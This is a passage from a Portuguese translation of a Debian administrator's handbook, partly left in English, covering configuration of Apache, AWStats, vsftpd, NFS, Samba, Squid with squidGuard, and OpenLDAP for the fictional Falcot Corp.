O servidor Apache, como configurado até agora, usa os mesmos arquivos de log para todos os hosts virtuais (embora isso possa ser alterado adicionando as diretivas CustomLog na definição de hosts virtuais). É, entretanto, boa prática customizar o formato desse arquivo de log para ter incluído o nome do host virtual. Isso pode ser feito criando um arquivo /etc/apache2/conf-available/customlog.conf, que define um novo formato para todos os arquivos de log (com a diretiva LogFormat), e habilitando-o com a2enconf customlog . A linha CustomLog tem também que ser removida (ou comentada) do arquivo /etc/apache2/sites-available/000-default.conf.

Exemplo 11.14. O arquivo /etc/apache2/conf-available/customlog.conf

# New log format including (virtual) host name LogFormat "%v %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost # Now let's use this "vhost" format by default CustomLog /var/log/apache2/access.log vhost

11.2.4. Diretivas comuns

Essa seção revê, brevemente, algumas das diretivas comumente usadas na configuração do Apache.

O principal arquivo de configuração inclui vários blocos Directory; eles permitem especificar diferentes comportamentos para o servidor dependendo da localização do arquivo que está sendo servido. Um bloco desse tipo comumente inclui as diretivas Options e AllowOverride.

Exemplo 11.15. Bloco Directory

<Directory /srv/www> Options Includes FollowSymlinks AllowOverride All DirectoryIndex index.php index.html index.htm </Directory>

A diretiva DirectoryIndex contém uma lista de arquivos a serem experimentados quando uma requisição do cliente coincide com um diretório. O primeiro arquivo existente da lista é usado e enviado como resposta.

A diretiva Options é seguida de uma lista de opções a serem habilitadas. O valor None desabilita todas as opções; correspondentemente, All habilita todas elas exceto MultiViews. As opções disponíveis incluem:

ExecCGI indica que scripts CGI podem ser executados.

FollowSymlinks diz ao servidor que ligações simbólicas podem ser seguidas, e que a resposta deve conter o conteúdo do alvo dessas ligações.

SymlinksIfOwnerMatch also tells the server to follow symbolic links, but only when the link and its target have the same owner.

Includes habilita Server Side Includes (SSI para abreviar). Essas são diretivas embutidas nas páginas HTML e executadas em tempo de execução para cada requisição.

IncludesNOEXEC permite inclusões no lado do servidor (SSI: «Server Side Includes»), mas desabilita a ordem exec e limita a diretiva include a arquivos de texto/marcado.

Indexes diz ao servidor para listar o conteúdo de um diretório se a requisição HTTP enviada pelo cliente aponta para um diretório sem um arquivo índex (i.e., quando nenhum arquivo mencionado na diretiva DirectoryIndex existe nesse diretório).

MultiViews habilita a negociação de conteúdo; isso pode ser usado pelo servidor para retornar uma página web que coincida com a língua preferida configurada no navegador.

DE VOLTA AO BÁSICO Arquivo .htaccess

O arquivo .htaccess contém as diretivas de configuração do Apache que são aplicadas cada vez que uma requisição diz respeito a um elemento do diretório aonde ele é armazenado. O âmbito dessas diretivas também repercute para todos os subdiretórios dentro desse diretório.

A maioria das diretivas que podem ser definidas no bloco Directory também podem ser definidas no arquivo .htaccess.

A diretiva AllowOverride lista todas as opções que podem ser habilitadas ou desabilitadas pelo arquivo .htaccess. Um uso comum dessa opção é restringir ExecCGI, para que o administrador escolha quais usuários tem permissão para rodar programas sob a identidade do servidor web (o usuário www-data).

11.2.4.1. Autenticação obrigatória

In some circumstances, access to part of a website needs to be restricted, so only legitimate users who provide a username and a password are granted access to the contents. These feature are provided by the mod_auth* modules.

Exemplo 11.16. Arquivo .htaccess para autenticação obrigatária

Require valid-user AuthName "Private directory" AuthType Basic AuthUserFile /etc/apache2/authfiles/htpasswd-private

SEGURANÇA Sem segurança

O sistema de autenticação usado no exemplo acima (Basic) tem uma segurança mínima já que a senha é enviada em texto puro (ela apenas é codificada com base64, que é uma codificação simples, ao invés de um método criptografado). Também deve ser notado que os documentos “protegidos” por esse mecanismo também trafegam pela rede em texto puro. Se segurança é importante, toda a conexão HTTP deve ser criptografada com SSL.

O arquivo /etc/apache2/authfiles/htpasswd-private contém uma lista de usuários e senhas; ele é comumente manipulado com o comando htpasswd. Por exemplo, o seguinte comando é usado para adicionar um usuário ou alterar a senha:

# htpasswd /etc/apache2/authfiles/htpasswd-private user New password: Re-type new password: Adding password for user user

11.2.4.2. Restringindo Acesso

A diretiva Require controla as restrições de acesso em um diretório (e seus sub-diretórios, recursivamente).

→ https://httpd.apache.org/docs/2.4/howto/access.html

Isso pode ser usado para restringir acesso com base em muitos critérios; nós iremos parar na descrição de restrição de acesso com base no endereço IP de um cliente, mas isso pode ser feito de maneira muito mais poderosa, especialmente quando várias diretivas Require são combinadas dentro de um bloco RequireAll.

Exemplo 11.17. Apenas permite a partir da rede local

Require ip 192.168.0.0/16

ALTERNATIVA Sintaxe antiga

A sintaxe do Require só está disponível no Apache 2.4 (a versão enviada desde Jessie). Para usuários(as) do Wheezy, a sintaxe no Apache 2.2 é diferente e nós a descrevemos aqui principalmente para referência, embora ela também possa ser disponibilizada no Apache 2.4 usando o modulo mod_access_compat.

As diretivas Allow from e Deny from controlam as restrições de acesso em um diretório (e seus sub-diretórios, recursivamente).

A diretiva Order informa ao servidor a ordem em que as diretivas Allow from e Deny from são aplicadas; A última que coincidir tem precedência. Em termos concretos, Order deny,allow permite acesso se nenhum Deny from se aplica, ou se uma diretiva Allow from aplica. Por outro lado, Order allow,deny rejeita acesso se nenhuma diretiva Allow from coincide (ou se uma diretiva Deny from se aplica).

As diretivas Allow from e Deny from podem ser seguidas de um endereço IP, uma rede (como 192.168.0.0/255.255.255.0, 192.168.0.0/24 ou mesmo 192.168.0), um nome de máquina ou nome de domínio, ou a palavra chave all, designando todos.

Por exemplo, para rejeitar conexões por padrão mas permiti-las a partir da rede local, você poderia usar isso:

Order deny,allow Allow from 192.168.0.0/16 Deny from all

11.2.5. Analisadores de Log

Um analisador de log é frequentemente instalado em um servidor web; já que o primeiro fornece aos administradores uma ideia precisa do padrão de uso do último.

Os administradores da Falcot Corp selecionaram o AWStats (Advanced Web Statistics) para analisar seus arquivos de log do Apache.

O primeiro passo de configuração é a customização do arquivo /etc/awstats/awstats.conf. O administradores da Falcot o mantiveram inalterado, exceto os seguintes parâmetros:

LogFile="/var/log/apache2/access.log" LogFormat = "%virtualname %host %other %logname %time1 %methodurl %code %bytesd %refererquot %uaquot" SiteDomain="www.falcot.com" HostAliases="falcot.com REGEX[^.*\.falcot\.com$]" DNSLookup=1 LoadPlugin="tooltips"

Todos esses parâmetros são documentados através de comentários no arquivo de exemplo. Em particular, os parâmetros LogFile e LogFormat descrevem a localização e o formato do arquivo de log e a informação que ele contém; SiteDomain e HostAliases listam os vários nomes pelos quais o site web principal é conhecido.

Para sites com alto tráfego, DNSLookup geralmente não deveria ser configurado como 1; para sites menores, como o da Falcot descrito acima, essa configuração permite ter relatórios mais legíveis, que incluem o nome completo da máquina ao invés de simplesmente endereços IP.

SEGURANÇA Acesso as estatísticas

O AWStats deixa suas estatísticas disponíveis no site web sem restrições por padrão, mas restrições podem ser configuradas para que apenas alguns endereços IP (provavelmente internos) possam ter acesso a elas; a lista de endereços IP com permissão precisa ser definida no parâmetro AllowAccessFromWebToFollowingIPAddresses

O AWStats também será habilitado para outros hosts virtuais; cada host virtual precisa de um arquivo de configuração próprio como /etc/awstats/awstats.www.falcot.org.conf.

Exemplo 11.18. Arquivo de configuração dO AWStats para um servidor virtual

Include "/etc/awstats/awstats.conf" SiteDomain="www.falcot.org" HostAliases="falcot.org"

AWStats uses many icons stored in the /usr/share/awstats/icon/ directory. In order for these icons to be available on the web site, the Apache configuration needs to be adapted to include the following directive (check out /usr/share/doc/awstats/examples/apache.conf for a more detailed example):

Alias /awstats-icon/ /usr/share/awstats/icon/

Após alguns minutos (e uma vez que o script tenha sido rodado algumas vezes), os resultados ficarão disponíveis online:

→ http://www.falcot.com/cgi-bin/awstats.pl

→ http://www.falcot.org/cgi-bin/awstats.pl

ATENÇÃO Rotação dos arquivos de registro

In order for the statistics to take all the logs into account, AWStats needs to be run right before the Apache log files are rotated. Looking at the prerotate directive of /etc/logrotate.d/apache2 file, this is solved by the awstats package by putting a script in /etc/logrotate.d/httpd-prerotate running /usr/share/awstats/tools/update.sh.

Note also that the log files created by logrotate need to be readable by everyone, especially AWStats. This is ensured by changing /etc/logrotate.d/apache2 to include create 644 root adm (instead of the default 640 permissions) for example. But please refer to /usr/share/doc/awstats/README.Debian.gz for a more extensive documentation about this topic and alternatives.

11.3. Servidor de Arquivos FTP

O FTP (File Transfer Protocol) é um dos primeiros protocolos da internet (a RFC 959 foi emitida em 1985!). Ele era usado para distribuir arquivos antes mesmo que a Web tivesse nascido (o protocolo HTTP foi criado em 1990, e formalmente definido em sua versão 1.0 pela RFC 1945, emitida em 1996).

This protocol allows both file uploads and file downloads; for this reason, it is still widely used to deploy updates to a website hosted by one's Internet service provider (or any other entity hosting websites). In these cases, access is enforced with a user identifier and password; on successful authentication, the FTP server grants read-write access to that user's home directory.

SECURITY FTP, FTPS, and SFTP

FTP is not a secure protocol. User names, passwords, and data are transported in clear text. To increase the security, one can use FTP via implicit (enforced) or explicit (requested) SSL/TLS, also known as FTPS, but not to be confused with SFTP, the SSH File Transfer Protocol, an alternative file transfer implementation using SSH. Many FTP server packages in Debian support FTPS.

Outros servidores FTP são principalmente usados para distribuir arquivos para qualquer um baixar; os pacotes Debian são um bom exemplo. O conteúdo desses servidores é obtido de outro servidor geograficamente remoto; e então disponibilizados para usuários menos distantes. Isso significa que a autenticação do cliente não é necessária; como consequência, esse modo de operação é conhecido como “anonymous FTP”. Para ser mais correto, os cliente fazem uma autenticação com nome de usuário anonymous; a senha é, geralmente, por convenção, o endereço de email do usuário, mas o servidor ignora isso.

Many FTP servers are available in Debian (ftpd(-ssl), proftpd-basic, pure-ftpd and so on), which all provide the virtual ftp-server package. Please note that the pyftpd package, however, has been removed from the Debian project due to not being actively maintained anymore and being incompatible with Python 3. The Falcot Corp administrators picked vsftpd because they only use the FTP server to distribute a few files (including a Debian package repository); since they don't need advanced features, they chose to focus on the security aspects.

A instalação do pacote cria um usuário ftp no sistema. Essa conta é sempre usada para conexões de FTP anônimas, e seu diretório inicial (home) (/srv/ftp/) é a raiz da árvore que está disponível ao usuários que se conectam a esse serviço. A configuração padrão (em /etc/vsftpd.conf) necessita de algumas mudanças para atender a simples necessidade de tornar grandes arquivos disponíveis para baixar pelo público: o acesso anônimo precisa ser habilitado (anonymous_enable=YES) e o acesso apenas para leitura de usuários locais precisa ser desabilitado (local_enable=NO). Esse último é particularmente importante já que o protocolo FTP não usa nenhuma forma de criptografia e a senha do usuário poderia ser interceptada pelo cabo.

FTP and FTPS resources can be accessed with a variety of clients, with and without a graphical user interface, and they can also be mounted locally using the curlftpfs command from the similarly named package.

11.4. Servidor de Arquivos NFS

O NFS (Network File System) é um protocolo que permite acesso remoto a um sistema de arquivos através da rede. Todos os sistemas Unix podem trabalhar com esse protocolo.

CASO ESPECÍFICO Microsoft Windows e compartilhamentos NFS

Quando estão envolvidas versões mais antigas ou versões "Home" do Windows, normalmente o Samba (Seção 11.5, “Configurando um Compartilhamento Windows com o Samba”) deve ser usado no lugar do NFS. Soluções modernas de Windows Server e versões "Pro" ou "Enterprise" tem compatibilidade com NFS incorporada. Depois da instalação dos componentes "Services for NFS", se podem acessar os recursos compatilhados NFS e montar temporaria ou permanentemente como qualquer outro recurso de rede. Lembre-se dos possíveis problemas de codificação em nomes de arquivos.

As an alternative Debian can be installed on Windows 10 Pro and higher. It requires the installation of the Windows Subsystem for Linux (WSL) component and the Debian app from the Windows store.

→ https://www.microsoft.com/en-us/p/debian/9msvkqc78pk6?

O NFS é uma ferramenta muito útil, mas historicamente, ela tem sofrido com muitas limitações, a maioria delas tendo sido atribuídas a versão 4 do protocolo. A contrapartida é que a última versão do NFS é mais difícil de configurar quando você quer usar recursos básicos de segurança tais como autenticação e criptografia já que ele faz uso do Kerberos para esses assuntos. E sem isso, o protocolo NFS tem que ficar restrito a uma rede local confiável já que os dados viajam pela rede sem criptografia (um sniffer pode interceptá-los) e os direitos de acesso são optidos com base no endereço IP do cliente (que pode ser falsificado ("spoofed")).

DOCUMENTAÇÃO NFS HOWTO

Boa documentação para implementar o NFSv4 é bastante escassa. Aqui estão algumas indicações de conteúdo com qualidade variável, mas que devem ao menos dar algumas pistas sobre o que deve ser feito.

→ https://help.ubuntu.com/community/NFSv4Howto

→ https://wiki.linux-nfs.org/wiki/index.php/Nfsv4_configuration

11.4.1. Proteção do NFS

Se você não usa recursos de segurança baseados no Kerberos, é vital garantir que apenas máquinas com permissão de usar o NFS possam se conectar nos vários servidores RPC requeridos, porque o protocolo básico confia nos dados recebidos a partir da rede. O firewall tem também que bloquear IP spoofing para prevenir que uma máquina de fora atue como uma de dentro, e acesso às portas apropriadas tem que ser restrito às máquinas destinadas a acessar os compartilhamentos NFS.

DE VOLTA AO BÁSICO RPC

RPC (Remote Procedure Call) é um padrão Unix para serviços remotos. O NFS é um desses serviços.

Os serviços RPC se registram em um diretório conhecido como portmapper. Um cliente querendo realizar uma consulta NFS primeiro consulta o portmapper (na porta 111, seja TCP ou UDP), e pergunta pelo servidor NFS; a resposta gralmente vem pela porta 2049 (a padrão para o NFS). Nem todos os serviços RPC necessariamente usam uma porta fixa.

Versões mais antigas do protocolo necessitavam de outros serviços RPC que usavam portas dinamicamente atribuídas. Felizmente, com a versão 4 do NFS, apenas a porta 2049 (para NFS) e 111 (para o portmapper) são necessárias, e assim, fácil de configurar no firewall.

11.4.2. Servidor NFS

O servidor NFS é parte do núcleo Linux; nos núcleos fornecidos peloDebian ele é construído como um módulo do núcleo. Se o servidor NFS tem que ser rodado automaticamente na inicialização, o pacote nfs-kernel-server deve ser instalado; ele contém os scripts de inicialização relevantes.

The NFS server configuration file(s), /etc/exports and /etc/exports.d/, lists the directories that are made available over the network (exported). For each NFS share, only the given list of machines is granted access. More fine-grained access control can be obtained with a few options. The syntax for this file is quite simple:

/diretório/para/compartilhar máquina1(opção1,opção2,...) máquina2(...) ...

Note que com o NFSv4, todos os diretórios exportados tem que ser parte de uma única hierarquia e que o diretório raiz dessa hierarquia tem que ser exportado e identificado com a opção fsid=0 ou fsid=root.

Cada máquina pode ser identificada tanto pelo seu nome no DNS quanto seu endereço IP. Todo um conjunto de máquinas pode também ser especificado usando tanto uma sintaxe como *.falcot.com ou um intervalo de endereços IP como 192.168.0.0/255.255.255.0 ou 192.168.0.0/24.

Os diretórios ficam disponíveis apenas para leitura por padrão (ou com a opção ro). A opção rw permite o acesso a leitura-escrita. Os clientes NFS tipicamente fazem a conexão a partir de uma porta restrita ao root (em outras palavras, abaixo da 1024); essa restrição pode ser elevada pela opção insecure (a opção secure é implícita, mas pode ser explícita para mais clareza).

Por padrão, o servidor apenas responde a uma consulta NFS quando a operação de disco corrente é concluída (opção sync); isso pode ser desabilitado com a opção async. A escrita assíncrona aumenta um pouco a performance, mas ela diminui a confiança já que existe o risco de perda de dados no caso do servidor falhar entre comunicar a escrita e realmente escrever no disco. Como o valor padrão foi alterado recentemente (comparado ao valor histórico do NFS), uma configuração explícita é recomendada.

Para que não seja dado acesso de root no sistema de arquivos a nenhum cliente NFS, todas as consultas que parecem vir do usuário root são consideradas pelo servidor como vindo do usuário nobody. Esse comportamento corresponde à opção root_squash e é habilitado por padrão. A opção no_root_squash, que desabilita esse comportamento, é arriscada e só deve ser usada em ambientes controlados. Se todos(as) os(as) usuários(as) devem ser mapeados para o usuário nobody, use all_squash. As opções anonuid=uid e anongid=gid permitem especificar outro usuário falso a ser usado em vez de UID/GID 65534 (que corresponde ao usuário nobody e ao grupo nogroup).

Com o NFSv4, você pode adicionar uma opção sec para indicar o nível de segurança que você quer: sec=sys é o padrão, sem recursos especiais de segurança, sec=krb5 habilita apenas a autenticação, sec=krb5i adiciona proteção de integridade, e sec=krb5p é o mais completo nível, que inclui proteção de privacidade (com criptografia de dados). Para isso funcionar você precisa do Kerberos configurado e funcionando (esse serviço não é coberto por esse livro).

Outras opções estão disponíveis; elas estão documentadas na página de manual exports(5).

ATENÇÃO Primeira instalação

The file /etc/exports does not list any valid NFS shares on initial installation. Once either this file or any file in /etc/exports.d/ has been edited or added to contain valid entries, the NFS server must be restarted with either of the following commands:

# exportfs -ra

# systemctl start nfs-kernel-server

11.4.3. Cliente NFS

As with other filesystems, integrating an NFS share into the system hierarchy requires mounting (and the nfs-common package). Since this filesystem has its peculiarities, a few adjustments were required in the syntax of the mount command and the /etc/fstab file.

Exemplo 11.19. Montando manualmente com o comando mount

# mount -t nfs4 -o rw,nosuid arrakis.internal.falcot.com:/shared /srv/shared

Exemplo 11.20. Entrada NFS no arquivo /etc/fstab

arrakis.internal.falcot.com:/shared /srv/shared nfs4 rw,nosuid 0 0

A entrada descrita acima monta, ao iniciar o sistema, o diretório NFS /shared/ no servidor arrakis no diretório local /srv/shared/. O acesso de leitura-escrita é requisitado (visto o parâmetro rw). A opção nosuid é uma medida de proteção que apaga qualquer bit setuid ou setgid de programas armazenados no compartilhamento. Se o compartilhamento NFS é apenas para armazenar documentos, outra opção recomendada é noexec, a qual previne a execução de programas armazenados no compartilhamento. Note que no servidor, o diretório shared está abaixo da raiz NFSv4 exportada ( por exemplo, /export/shared), não é um diretório de nível mais alto.

A página de manual nfs(5) descreve todas as opções com alguns detalhes.

11.5. Configurando um Compartilhamento Windows com o Samba

O Samba é um conjunto de ferramentas para lidar com o protocolo SMB (também conhecido como “CIFS”) no Linux. Esse protocolo é usado pelo Windows para compartilhamento de rede e impressoras compartilhadas.

Samba também pode atuar como um controlador de domínio Windows. Esta é uma excelente ferramenta para garantir a perfeita integração de servidores Linux com as máquinas desktop de escritório ainda executando Windows.

11.5.1. Servidor Samba

O pacote samba contém os dois principais servidores do Samba 4, smbd e nmbd.

DOCUMENTAÇÃO Aprofundando

The Samba server is extremely configurable and versatile, and can address a great many different use cases matching very different requirements and network architectures. This book only focuses on the use case where Samba is used as a standalone server, but it can also be an NT4 Domain Controller or a full Active Directory Domain Controller, or a simple member of an existing domain (which could be managed by a Windows server).

O pacote samba contém todas as páginas de manual necessárias e em /usr/share/doc/samba/examples/ uma grande quantidade de arquivos de exemplos comentados. Se você está procurando uma documentação mais completa, acesse o site web do Samba.

→ https://www.samba.org/samba/docs/

FERRAMENTA Autenticando com um Servidor Windows

Winbind dá aos administradores de sistema a opção de usar um servidor Windows como um servidor de autenticação. Winbind também se integra de forma limpa com PAM e NSS. Isso permite configurar máquinas Linux aonde todos os usuários de um domínio Windows automaticamente tenham uma conta.

Mais informações podem ser obtidas no diretório /usr/share/doc/libpam-winbind/examples/pam_winbind/ do pacote libpam-winbind.

11.5.1.1. Configurando com debconf

The package sets up a minimal configuration during the initial installation in /etc/samba/smb.conf by plainly copying /usr/share/samba/smb.conf. So you should really run dpkg-reconfigure samba-common to adapt it:

Na primeira instalação, a única informação necessária é o nome do grupo de trabalho (workgroup) ao qual o servidor Samba pertencerá (a resposta é FALCOTNET em nosso caso).

No caso de uma atualização de pacote (da versão estável anterior do Debian) ou se o servidor SMB já foi configurado para usar um servidor WINS (wins server), o pacote também propõe identificar o servidor WINS a partir das informações fornecidas pelo daemon DHCP. Os(as) administradores(as) da Falcot Corp rejeitaram esta opção, já que pretendem usar o servidor Samba mesmo como servidor WINS.

11.5.1.2. Configurando Manualmente

11.5.1.2.1. Mudanças no smb.conf

Os requerimentos na Falcot fazem necessário que outras opção sejam modificadas no arquivo de configuração /etc/samba/smb.conf. O trecho a seguir resumem as alterações que foram feitas na seção [global].

[...] [global] ## Browsing/Identification ### # Change this to the workgroup/NT-domain name your Samba server will part of workgroup = FALCOTNET [...] # Windows Internet Name Serving Support Section: # WINS Support - Tells the NMBD component of Samba to enable its WINS Server wins support = yes [...] ####### Authentication ####### # Server role. Defines in which mode Samba will operate. Possible # values are "standalone server", "member server", "classic primary # domain controller", "classic backup domain controller", "active # directory domain controller". # # Most people will want "standalone server" or "member server". # Running as "active directory domain controller" will require first # running "samba-tool domain provision" to wipe databases and create a # new domain. server role = standalone server obey pam restrictions = yes [...] # "security = user" is always a good idea. This will require a Unix account # in this server for every user accessing the server. security = user [...]

Indicates that Samba should act as a Netbios name server (WINS) for the local network. This option had been removed from the default configuration in Buster and must be added manually if desired.

Esse é o valor padrão para esse parâmetro; contudo, como ele é central para a configuração do Samba, o recomendado é preenchê-lo explicitamente. cada usuário tem que se autenticar antes de acessar qualquer compartilhamento.

11.5.1.2.2. Adicionando Usuários

Cada usuário do Samba precisa ter uma conta no servidor; as contas Unix tem que ser criadas primeiro, depois o usuário precisa ser registrado no banco de dados do Samba. O passo no Unix é feito bem facilmente (usando o adduser por exemplo).

Adicionar um usuário existente ao banco de dados do Samba é uma questão de rodar o comando smbpasswd -a usuário; esse comando pergunta pela senha interativamente.

Um usuário pode ser apagado com o comando smbpasswd -x usuário. Uma conta Samba também pode ser temporariamente desabilitada (com smbpasswd -d usuário) e reabilitada mais tarde (com smbpasswd -e usuário).

11.5.2. Cliente Samba

Os recursos do cliente no Samba permitem que uma máquina Linux acesse compartilhamentos Windows e impressoras compartilhadas. Os programas necessários estão disponíveis nos pacotes cifs-utils e smbclient.

11.5.2.1. O Programa smbclient

O programa smbclient consulta servidores SMB. Ele aceita a opção -U usuário, para conectar em um servidor sob uma identidade específica. smbclient //servidor/compartilhamento acessa o compartilhamento de maneira interativa, similar a linha de comando de um cliente FTP. smbclient -L servidor lista todos os compartilhamentos disponíveis (e visíveis) em um servidor.

11.5.2.2. Montando Compartilhamentos Windows

O comando mount permite montar um compartilhamento Windows na hierarquia do sistema de arquivos do Linux (com a ajuda do mount.cifs fornecido pelo cifs-utils).

Exemplo 11.21. Montando um compartilhamento Windows

mount -t cifs //arrakis/shared /shared \ -o credentials=/etc/smb-credentials

O arquivo /etc/smb-credentials (o qual não deve ser legível pelos usuários) tem o seguinte formato:

username = usuário(a) password = senha

Outras opções podem ser especificadas pela linha de comando; sua lista completa está disponível na página de manual mount.cifs(1). Duas opções em particular podem ser interessantes: uid e gid permitem forçar o dono e grupo dos arquivos disponíveis na montagem, de modo a não restringir o acesso para o root.

A montagem de um compartilhamento Windows também pode ser configurada em /etc/fstab:

//servidor/shared /shared cifs credentials=/etc/smb-credentials

Unmounting an SMB/CIFS share is done with the standard umount command.

11.5.2.3. Imprimindo com uma Impressora Compartilhada

CUPS é uma solução elegante para impressão a partir de uma estação de trabalho Linux em uma impressora compartilhada por uma máquina Windows. Quando o smbclient está instalado, o CUPS permite a instalação de impressoras Windows compartilhadas automaticamente.

Aqui estão os passos necessários:

Entre na interface de configuração do CUPS: http://localhost:631/admin

Clique em "Adicionar Impressora".

Selecione o dispositivo de impressora, escolha “Impressora Windows via SAMBA”.

Insira a conexão URI para a impressora de rede. Deve se parecer com o seguinte:

smb://usuário:senha@servidor/impressora.

Digite o nome que irá identificar de maneira única essa impressora. Em seguida digite a descrição e localização da impressora. Essas são as cadeias de caracteres que irão ser mostradas aos usuários finais para ajudá-los a identificar as impressoras.

Indicar o fabricante/modelo da impressora, ou fornecer diretamente um arquivo funcional de descrição da impressora (PPD).

Voilà, a impressora está operacional!

11.6. Proxy HTTP/FTP

Um proxy HTTP/FTP atua como um intermediário para conexões HTTP e/ou FTP. Seu papel é duplo:

Caching: documentos recentemente baixados são copiados localmente, o que evita baixá-los mais de uma vez.

Servidor de filtragem: se o uso do proxy é obrigatório (e conexões de saída são bloqueadas a menos que elas passem através do proxy), então o proxy pode determinar quando a requisição pode ser concedida.

Falcot Corp selecionou o Squid como seu servidor de proxy.

11.6.1. Instalando

The squid Debian package only contains the modular (caching) proxy. Turning it into a filtering server requires installing the additional squidguard package. In addition, squid-cgi provides a querying and administration interface for a Squid proxy.

Antes da instalação, deve-se tomar o cuidado de checar que o sistema pode identificar seu próprio nome completo: o hostname -f tem que retornar um nome completo qualificado (incluindo o domínio). Se não, então o arquivo /etc/hosts deve ser editado para conter o nome completo do sistema (por exemplo, arrakis.falcot.com). O nome oficial do computador deve ser validado pelo administrador de rede para que sejam evitados potenciais conflitos de nome.

11.6.2. Configurando um Cache

Habilitar o recurso de cache no servidor é uma simples questão de editar o arquivo de configuração /etc/squid/squid.conf e permitir que máquinas da rede local executem consultas através do proxy. Os exemplos a seguir mostram as modificações feitas pelos(as) administradores(as) da Falcot Corp:

Exemplo 11.22. O arquivo /etc/squid/squid.conf (trecho)

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS # include /etc/squid/conf.d/* # Example rule allowing access from your local networks. # Adapt localnet in the ACL section to list your (internal) IP networks # from where browsing should be allowed acl our_networks src 192.168.1.0/24 192.168.2.0/24 http_access allow our_networks http_access allow localhost # And finally deny all other access to this proxy http_access deny all

11.6.3. Configurando um Filtro

O squid sozinho não faz a filtragem; essa ação é delegada ao squidGuard. O primeiro tem então que ser configurado para interagir com o último. Isso envolve a adição da seguinte diretiva ao arquivo /etc/squid/squid.conf:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

The /usr/lib/cgi-bin/squidGuard.cgi CGI program also needs to be installed, using /usr/share/doc/squidguard/examples/squidGuard.cgi as a starting point. Required modifications to this script are the $proxy and $proxymaster variables (the name of the proxy and the administrator's contact email, respectively). The $image and $redirect variables should point to existing images representing the rejection of a query.

The filter is enabled with the systemctl reload squid command. However, since the squidguard package does no filtering by default, it is the administrator's task to define the policy. This can be done by creating the /etc/squid/squidGuard.conf file (using /etc/squidguard/squidGuard.conf.default as template if required).

O banco de dados em uso tem que ser regenerado com update-squidguard após cada alteração feita no arquivo de configuração squidGuard (ou em uma das listas de domínios ou URLs que ele menciona). A sintaxe do arquivo de configuração é documentada no seguinte site web:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIVA E2guardian (um fork de DansGuardian)

The e2guardian package, a DansGuardian fork, is an alternative to squidguard. This software does not simply handle a blacklist of forbidden URLs, it can also take advantage of content and anti-virus scanning and it provides broad authentication support.

11.7. Diretório LDAP

OpenLDAP é uma implementação do protocolo LDAP; em outras palavras, é um banco de dados com propósito especial desenvolvido para armazenar diretórios. No caso mais comum de uso, o uso de um servidor LDAP permite o gerenciamento centralizado de contas de usuários e permissões relacionadas. Além do mais, um banco de dados LDAP é facilmente replicável, o que permite configurar múltiplos servidores LDAP sincronizados. Quando a rede e a base de usuários cresce rapidamente, a carga pode então ser balanceada por entre vários servidores.

Os dados LDAP são estruturados e hierárquicos. A estrutura é definida por “schemas” que descrevem os tipos de objetos que o banco de dados pode armazenar, com uma lista de todos os seus possíveis atributos. A sintaxe usada para se referir a um objeto em particular no banco de dados é baseada em sua estrutura, o que explica sua complexidade.

11.7.1. Instalando

O pacote slapd contém o servidor OpenLDAP. O pacote ldap-utils inclui ferramentas de linha de comando para interação com os servidores LDAP.

A instalação do slapd geralmente requisita somente a senha do(a) administrador(a) e o banco de dados resultante provavelmente não atenderá suas necessidades. Felizmente, um simples dpkg-reconfigure slapd permitirá reconfigurar o banco de dados LDAP com mais detalhes:

Omitir a configuração do servidor OpenLDAP? Não, claro que não, nós queremos configurar esse serviço.

DNS nome de domínio: “falcot.com”.

Nome da organização: “Falcot Corp”.

Senhas administrativas precisam ser digitadas.

Banco de dados para utilizar: "MDB".

Você quer que o banco de dados seja removido quando o slapd é removido (purged)? Não. Não faz sentido arriscar a perda do banco de dados em caso de um engano.

Mover banco de dados antigo? Essa pergunta só é feita enquanto a configuração é feita e já existe um banco de dados. Só responda “sim” se você realmente querer iniciar a partir de um banco de dados limpo, por exemplo, se você rodar dpkg-reconfigure slapd logo após a instalação inicial.

DE VOLTA AO BÁSICO Formato LDIF

Um arquivo LDIF (formato de intercâmbios de dados LDAP - LDAP Data Interchange Format) é um arquivo de texto portável que descreve o conteúdo de uma base de dados LDAP (ou uma parte da mesma); pode ser utilizada para injetar dados em outro servidor LDAP.

Um base de dados miníma está configurada agora, como demonstrado pela seguinte consulta:

$ ldapsearch -x -b dc=falcot,dc=com # extended LDIF # # LDAPv3 # base <dc=falcot,dc=com> with scope subtree # filter: (objectclass=*) # requesting: ALL # # falcot.com dn: dc=falcot,dc=com objectClass: top objectClass: dcObject objectClass: organization o: Falcot Corp dc: falcot # admin, falcot.com dn: cn=admin,dc=falcot,dc=com objectClass: simpleSecurityObject objectClass: organizationalRole cn: admin description: LDAP administrator # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1

A consulta retornour dois objetos: a organização em si, e o usuário administrativo.

11.7.2. Preenchendo o Diretório

Como um banco de dados vazio não é particularmente útil, nós vamos injetar nele todos os diretórios existentes; isso inclui os banco de dados de usuários, grupos, serviços e máquinas.

O pacote migrationtools provê um conjunto de scripts dedicados a extrair dados a partir dos diretórios padrões do Unix (/etc/passwd, /etc/group, /etc/services, /etc/hosts e mais), converter seus dados, e injetá-los em um banco de dados LDAP.

Uma vez que o pacote esteja instalado, o /etc/migrationtools/migrate_common.ph tem que ser editado; as opções IGNORE_UID_BELOW e IGNORE_GID_BELOW precisam ser habilitadas (descomentá-las é suficiente), e DEFAULT_MAIL_DOMAIN/DEFAULT_BASE precisa ser atualizada.

A real operação de migração é feita pelo comando migrate_all_online.sh, como a seguir:

# cd /usr/share/migrationtools # PERL5LIB="${PERL5LIB}:/etc/migrationtools" LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

migrate_all_online.sh faz algumas perguntas sobre o banco de dados LDAP para o qual os dados serão migrados. Tabela 11.1 resume as respostas dadas no caso da Falcot.

Tabela 11.1. Responda as perguntas feitas pelo script migrate_all_online.sh

Questão | Resposta
Contexto de nome X.500 | dc=falcot,dc=com
Nome do servidor LDAP | localhost
Gerenciando o DN | cn=admin,dc=falcot,dc=com
Credenciais Bind | a senha administrativa
Criar DUAConfigProfile | não

You might notice that we extend the PERL5LIB variable. This is due to Debian bug report #982666.

→ https://bugs.debian.org/982666

As you might have also noticed, we deliberately ignore migration of the /etc/aliases file, since the standard schema as provided by Debian does not include the structures that this script uses to describe email aliases. Should we want to integrate this data into the directory, the /etc/ldap/schema/misc.schema file should be added to the standard schema.

